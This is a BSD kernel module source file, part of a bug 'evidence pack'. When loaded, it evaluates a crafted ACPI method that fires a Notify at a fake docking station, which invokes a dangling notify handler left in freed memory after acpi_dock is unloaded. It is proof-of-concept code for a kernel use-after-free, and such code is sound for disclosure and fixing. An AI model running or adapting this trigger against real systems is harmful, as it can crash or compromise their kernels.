/*
 * dfnt.c -- ACPI notify trigger module (DF-4823 evidence pack).
 *
 * At MOD_LOAD it evaluates the crafted SSDT method \_SB_.DFNT which executes
 * Notify(DFCK, 0x00) (ACPI_NOTIFY_BUS_CHECK) against the fake docking station.
 * ACPICA queues the notify dispatch through AcpiOsExecute() (evmisc.c:
 * AcpiEvQueueNotifyRequest) and the installed handler for DFCK -- which, after
 * `kldunload acpi_dock`, is the dangling acpi_dock_notifyHandler pointer into
 * freed module text (DF-1905/DF-2380 family).
 *
 * Build:  in guest, next to the kernel source:  make -DNO_WERROR
 * Load:   kldload ./dfnt.ko
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/types.h>

/*
 * Minimal local decls (avoids pulling the full ACPICA include maze into a
 * standalone module); we only call the kernel-exported evaluator.
 */
typedef void		*ACPI_HANDLE;
typedef uint32_t	ACPI_STATUS;
#define	AE_OK		((ACPI_STATUS) 0)

extern ACPI_STATUS AcpiEvaluateObject(ACPI_HANDLE, const char *, void *, void *);

static int
dfnt_modevent(module_t mod, int type, void *arg)
{
	ACPI_STATUS st;

	switch (type) {
	case MOD_LOAD:
		kprintf("dfnt: evaluating \\_SB_.DFNT (fires Notify at dock)\n");
		st = AcpiEvaluateObject(NULL, "\\_SB_.DFNT", NULL, NULL);
		kprintf("dfnt: DFNT eval status 0x%x (%s)\n", st,
		    st == AE_OK ? "ok, notify queued" : "FAILED");
		break;
	case MOD_UNLOAD:
	default:
		break;
	}
	return (0);
}

static moduledata_t dfnt_mod = {
	"dfnt",
	dfnt_modevent,
	NULL
};
DECLARE_MODULE(dfnt, dfnt_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(dfnt, acpi, 1, 1, 1);